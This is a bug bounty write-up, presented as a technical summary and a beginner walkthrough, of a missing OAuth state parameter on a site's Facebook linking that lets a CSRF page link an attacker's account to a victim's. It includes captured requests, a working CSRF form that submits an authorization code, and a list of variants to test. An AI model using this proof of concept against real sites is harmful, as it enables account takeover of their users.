How I got this Vulnerability
The OAuth flow for linking a Facebook account lacked a state parameter, so an attacker could craft a CSRF page that submits a victim's Facebook authorization code to the callback endpoint. This linked the attacker's Facebook account to the victim's account, allowing the attacker to log in as the victim.
Published on medium.com
Its me Jackson. this is my first blog based on security vulnerability that identified during the exam study leave.. 😆. First of all thanks to Midhun S for giving this wonderful site for testing and supports.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a write-up of an OAuth misconfiguration that led to full account takeover on a site the author calls redacted.com. The company name is withheld, so the domain is a placeholder throughout. The feature involved is account linking: a logged-in user can connect their redacted.com account to Facebook or Google so that they can later sign in to redacted.com through that provider. The author describes OAuth as the industry-standard delegation protocol for authorization, used by applications to access data that already exists on the Internet, such as a contacts list on Google or a friends list on Facebook.
The flow the author examines is the Facebook linking flow. The browser is sent to Facebook's OAuth dialog, the user authenticates there, and Facebook redirects back to a callback on redacted.com carrying an authorization code.
Setup
The author created an account with a temporary mail address, completed the email confirmation and logged in. The linking option appears in the account settings. Burp Suite was used to intercept the requests and responses, and a second test account was created later to act as the victim. The victim account was logged into in another browser. No versions or other tooling details are given beyond the browser user agent shown in the captured requests.
Before reaching this target the author describes a reconnaissance routine: a Google search to learn what kind of company it is and what technologies it uses, then subdomain enumeration with aquatone, followed by Lazyrecon, eyewitness, nmap, dirsearch, advanced Google dorks, wappalyzer and some scripts.
Finding it
On the signup page the author created an account and confirmed the email. In the settings there is an option to link the redacted.com account to Facebook or Google. Clicking the Facebook icon with Burp intercepting produced the first request, which goes to Facebook's OAuth dialog:
GET /v3.1/dialog/oauth?response_type=code&redirect_uri=https%3A%2F%2Fredacted.com%2Fauth%2Ffacebook%2Fcallback&scope=email%2Cpublic_profile&client_id=00000000000 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://redacted.com/profile
Cookie: fr=0rqajcCy4gEh2nJvS.redactedPv2OYVcelE.AWVp7-tG; sb=OQwFXNTRCDFUcookieLIw0; datr=OQwFXBW2scookieSe4q; wd=1366XXXXX657; locale=en_GB; c_u
Connection: close
The parameters are the standard authorization request: response_type=code asks for an authorization code, redirect_uri points at https://redacted.com/auth/facebook/callback, scope requests email and public_profile, and client_id identifies the application. What caught the author's attention is the absence of a state parameter. Without it, the author reasoned, the flow may be vulnerable to CSRF.
After authenticating to Facebook in the popup, the callback from Facebook was intercepted:
GET /auth/facebook/callback?code=AQCXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.facebook.com
Cookie: __cfduid=[redacted]; __adroll_fpc=[redacted]; __ar_v4=JYUExxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf-cb8d-4c87–9bc1–8478a3f6ed68=[redacted]; _fbp=fb.1.154xxxxxxxxx719436
Connection: close

The callback carries only the code. There is no state value to compare against anything stored for the session, so in the author's view there is no protection against a CSRF attack.
Exploitation
Step 1: build the CSRF page
With the callback URL and its code in hand, the author wrote a page called attack.html that submits the code to the callback endpoint:
<html>
<body>
<script>history.pushState(‘’, ‘’, ‘/’)</script>
<form action=”[https://redacted.com/auth/facebook/callback](https://changelly.com/auth/facebook/callback)">
<input type=”hidden” name=”code” value=”AxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxY” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>
The form carries a hidden code field and a submit button, and the page includes a history.pushState call. The submit button is what the author clicks in the next step.
Step 2: deliver it to a victim account
The author created a second redacted.com test account to act as the victim, logged into it in another browser and went to the settings page, where the option to link a Facebook account is available. The attack.html page was opened in a new tab and the submit button clicked. The author reports that the Facebook account was then successfully linked to the victim's redacted.com account.

Step 3: confirm the takeover
The author logged out of the victim's redacted.com account and signed in to redacted.com with the author's own Facebook account. The login succeeded, which the author takes as confirmation that any victim account can be taken over this way.
Root cause
The OAuth flow does not use the state parameter. state is the value the client generates, stores in the user's session and sends with the authorization request; the provider returns it unchanged on the callback, and the client checks that it matches before accepting the code. Because the callback in this flow accepts a code with no state to validate, an attacker can supply their own code to a victim's browser and have it bound to the victim's logged-in account. The author's conclusion is that this is a simple OAuth misconfiguration leading to full account takeover.
Impact
An attacker who completes the Facebook flow with their own account can take the resulting code and make a logged-in victim's browser submit it to the callback. The victim's redacted.com account then becomes linked to the attacker's Facebook account, and the attacker can sign in to it through Facebook. The author states that any victim account can be taken over this way. The attack requires the victim to be logged in to redacted.com and to load the attacker's page.
The author notes that the issue had already been reported by another security researcher.
Fix
The report does not describe a fix or say what was changed. The measure the finding points to is the state parameter: generate a per-session value, send it with the authorization request and reject any callback whose state does not match the value stored for that session.
Variants to test
- Omit
statefrom the authorization request on other OAuth or social-login integrations and check whether the callback still accepts the code. A positive result is a callback that completes the link or login with nostatevalue at all. - Send a callback with a
statevalue that does not match the session, or with nostatewhile the session has one. A positive result is the code being accepted anyway. - Replay a captured callback URL in a different browser session that is logged in as another user. A positive result is the provider account being linked to that second user.
- Test the same pattern on Google linking as well as Facebook, since the settings page offers both. A positive result is the same silent linking through a form submission from another origin.
- Check whether the callback accepts a
codeissued for a different client or redirect URI. A positive result is a code being exchanged successfully outside the context it was issued for.
What happened, in plain words
A website let people sign in with their Facebook account instead of a password. To make that work, the site and Facebook pass a short-lived code back and forth. The site did not use the state parameter, so the callback had no CSRF protection. Because of that, someone could trick a logged-in user into linking the attacker's Facebook account to the user's account on the site. After that, the attacker could sign in to the victim's account through Facebook. The author calls the site redacted.com because the company name is withheld.
This is a beginner's walkthrough of that finding. Every tool, request and page is explained from scratch, in the order the author did things.
The feature being abused
The site offers account linking. A logged-in user can connect their redacted.com account to Facebook or Google, so that later they can sign in to redacted.com through that provider instead of typing a password.
The author describes OAuth as the industry-standard delegation protocol for authorization, used by applications to access data that already exists on the Internet, such as a contacts list on Google or a friends list on Facebook. A simple comparison: OAuth is like a hotel giving a plumber a temporary key card that opens only the bathroom, instead of handing over the master key. The site never sees your Facebook password; Facebook gives it a limited, temporary permission instead.
The flow the author examines is the Facebook linking flow. The browser is sent to Facebook's OAuth dialog, the user authenticates there, and Facebook redirects back to a callback on redacted.com carrying an authorization code. A callback is simply the address the provider sends the browser back to when it is finished.
Setting up
The author created an account with a temporary mail address, completed the email confirmation and logged in. The linking option appears in the account settings. Burp Suite was used to intercept the requests and responses. Burp Suite is a tool that sits between your browser and the website and lets you pause, read and edit each request before it is sent. A second test account was created later to act as the victim, and it was logged into in another browser. No versions or other tooling details are given beyond the browser user agent shown in the captured requests.
Before reaching this target the author describes a reconnaissance routine. Reconnaissance means looking around before attacking: a Google search to learn what kind of company it is and what technologies it uses, then subdomain enumeration with aquatone, followed by Lazyrecon, eyewitness, nmap, dirsearch, advanced Google dorks, wappalyzer and some scripts. Subdomain enumeration means finding all the smaller sites under a company's main domain, because one of them is often less protected than the main site.
Finding it
On the signup page the author created an account and confirmed the email. In the settings there is an option to link the redacted.com account to Facebook or Google. Clicking the Facebook icon with Burp intercepting produced the first request, which goes to Facebook's OAuth dialog:
GET /v3.1/dialog/oauth?response_type=code&redirect_uri=https%3A%2F%2Fredacted.com%2Fauth%2Ffacebook%2Fcallback&scope=email%2Cpublic_profile&client_id=00000000000 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://redacted.com/profile
Cookie: fr=0rqajcCy4gEh2nJvS.redactedPv2OYVcelE.AWVp7-tG; sb=OQwFXNTRCDFUcookieLIw0; datr=OQwFXBW2scookieSe4q; wd=1366XXXXX657; locale=en_GB; c_u
Connection: close
Line by line:
GET /v3.1/dialog/oauth?...is the browser asking Facebook for the sign-in dialog page. Everything after the?is the query string, a list of settings sent along with the request.response_type=codeasks Facebook to return an authorization code. A code is a short string that the site can later swap for access; it is not the user's password.redirect_uri=https%3A%2F%2Fredacted.com%2Fauth%2Ffacebook%2Fcallbackis where Facebook should send the browser afterwards. The%3Aand%2Fare just encoded:and/characters, because URLs cannot contain them raw inside a parameter.scope=email%2Cpublic_profilelists the permissions being requested: the user's email address and their public profile. The%2Cis an encoded comma.client_id=00000000000identifies which application is asking. It is public, like a name badge, not a secret.Host: www.facebook.comsays which server the request is for.User-Agenttells the server which browser and operating system sent the request.Accept,Accept-LanguageandAccept-Encodingsay what kinds of response the browser can handle and in which language, and that it accepts compressed replies.Referer: https://redacted.com/profilesays which page the user was on when the request started.Cookie:carries the small pieces of data the browser stores for Facebook, such as a login session. A cookie is a note the browser keeps and shows to the site on every visit, so the site can recognise you. The values here are redacted.Connection: closeasks the server to close the network connection after replying.
What caught the author's attention is the absence of a state parameter. state is a random value the site makes up, stores in the user's session and sends along with the request; Facebook returns it unchanged on the callback, and the site checks that it matches before accepting the code. It works like a claim ticket at a cloakroom: you get a ticket when you hand in your coat, and you must show the same ticket to get the coat back. Without it, anyone holding a coat can claim it. Without state, the author reasoned, the flow may be vulnerable to CSRF. CSRF, or cross-site request forgery, means making a logged-in user's browser send a request the user did not intend, by getting them to load a page the attacker controls.
After authenticating to Facebook in the popup, the callback from Facebook was intercepted:
GET /auth/facebook/callback?code=AQCXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.facebook.com
Cookie: __cfduid=[redacted]; __adroll_fpc=[redacted]; __ar_v4=JYUExxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf-cb8d-4c87–9bc1–8478a3f6ed68=[redacted]; _fbp=fb.1.154xxxxxxxxx719436
Connection: close

Line by line:
GET /auth/facebook/callback?code=...is the browser arriving back atredacted.comwith the code Facebook issued.Host: redacted.comsays the request is for the site, not for Facebook.User-Agent,Accept,Accept-Language,Accept-EncodingandConnectionmean the same as before.Referer: https://www.facebook.comshows the user came from Facebook.Cookie:carries the site's own cookies, including the session that identifies the logged-in user. The values are redacted.
The callback carries only the code. There is no state value to compare against anything stored for the session, so in the author's view there is no protection against a CSRF attack. The screenshot above shows the captured callback in the interception tool.
Exploitation
Step 1: build the CSRF page
With the callback URL and its code in hand, the author wrote a page called attack.html that submits the code to the callback endpoint:
<html>
<body>
<script>history.pushState(‘’, ‘’, ‘/’)</script>
<form action=”[https://redacted.com/auth/facebook/callback](https://changelly.com/auth/facebook/callback)">
<input type=”hidden” name=”code” value=”AxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxY” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>
Line by line:
<html>,<body>and their closing tags are the basic skeleton of any web page.<script>history.pushState(‘’, ‘’, ‘/’)</script>runs a small piece of JavaScript.history.pushStatechanges the address shown in the browser's address bar without loading a new page. Here it rewrites the address to/, so the victim does not see the attacker's URL in the bar.<form action=”...”>starts a form that will send its fields to the given address when submitted. The address is the callback endpoint onredacted.com.<input type=”hidden” name=”code” value=”A...Y” />is a field the user cannot see. Its name iscodeand its value is the authorization code. This is the important part: the form will deliver the attacker's code to the site.<input type=”submit” value=”Submit request” />is the button that sends the form. The author clicks it in the next step.
The form carries a hidden code field and a submit button, and the page includes a history.pushState call. The submit button is what the author clicks in the next step.
Step 2: deliver it to a victim account
The author created a second redacted.com test account to act as the victim, logged into it in another browser and went to the settings page, where the option to link a Facebook account is available. The attack.html page was opened in a new tab and the submit button clicked. The author reports that the Facebook account was then successfully linked to the victim's redacted.com account.

The victim is already logged in to redacted.com, so the submitted code is linked to the victim's account.
Step 3: confirm the takeover
The author logged out of the victim's redacted.com account and signed in to redacted.com with the author's own Facebook account. The login succeeded, which the author takes as confirmation that any victim account can be taken over this way.
Root cause
The OAuth flow does not use the state parameter. state is the value the client generates, stores in the user's session and sends with the authorization request; the provider returns it unchanged on the callback, and the client checks that it matches before accepting the code. Because the callback in this flow accepts a code with no state to validate, an attacker can supply their own code to a victim's browser and have it bound to the victim's logged-in account. The author's conclusion is that this is a simple OAuth misconfiguration leading to full account takeover.
Impact
An attacker who completes the Facebook flow with their own account can take the resulting code and make a logged-in victim's browser submit it to the callback. The victim's redacted.com account then becomes linked to the attacker's Facebook account, and the attacker can sign in to it through Facebook. The author states that any victim account can be taken over this way. The attack requires the victim to be logged in to redacted.com and to load the attacker's page.
The author notes that the issue had already been reported by another security researcher.
Fix
The report does not describe a fix or say what was changed. The measure the finding points to is the state parameter: generate a per-session value, send it with the authorization request and reject any callback whose state does not match the value stored for that session.
Variants to test
- Omit
statefrom the authorization request on other OAuth or social-login integrations and check whether the callback still accepts the code. A positive result is a callback that completes the link or login with nostatevalue at all. - Send a callback with a
statevalue that does not match the session, or with nostatewhile the session has one. A positive result is the code being accepted anyway. - Replay a captured callback URL in a different browser session that is logged in as another user. A positive result is the provider account being linked to that second user.
- Test the same pattern on Google linking as well as Facebook, since the settings page offers both. A positive result is the same silent linking through a form submission from another origin.
- Check whether the callback accepts a
codeissued for a different client or redirect URI. A positive result is a code being exchanged successfully outside the context it was issued for.
Glossary
- Account takeover: gaining control of someone else's account, for example by being able to sign in to it.
- API: a way for one program to talk to another, like a waiter taking your order to the kitchen and bringing back the food.
- Authorization code: a short string a provider issues after a successful sign-in, which the site exchanges for access. It is not the user's password.
- Burp Suite: a tool that sits between the browser and a website so you can pause, read and edit requests and responses.
- Callback: the address a provider sends the browser back to when the sign-in step is finished.
- Client ID: a public identifier for an application using OAuth, like a name badge.
- Cookie: a small note the browser stores for a site and sends back on every visit, so the site can recognise you.
- CSRF (cross-site request forgery): making a logged-in user's browser send a request they did not intend, by getting them to load a page the attacker controls.
- GET: the request method a browser uses to ask for a page or resource.
- Host: the part of a request that says which server it is for.
- OAuth: an industry-standard delegation protocol for authorization, letting an application access data that already exists on the Internet without seeing your password.
- Query string: the part of a URL after the
?, carrying settings as name and value pairs. - Reconnaissance: looking around a target before attacking, to learn what it is and how it is built.
- Redirect URI: the address the provider sends the browser back to after sign-in.
- Referer: a request header saying which page the user was on when the request started.
- Scope: the list of permissions an application asks for, such as email and public profile.
- Session: the site's record that a particular browser is logged in as a particular user, usually kept alive by a cookie.
- State parameter: a random value the site generates, stores in the session and sends with the authorization request; the provider returns it unchanged and the site checks it matches before accepting the code.
- Subdomain enumeration: finding all the smaller sites under a company's main domain.
- User-Agent: a request header telling the server which browser and operating system sent the request.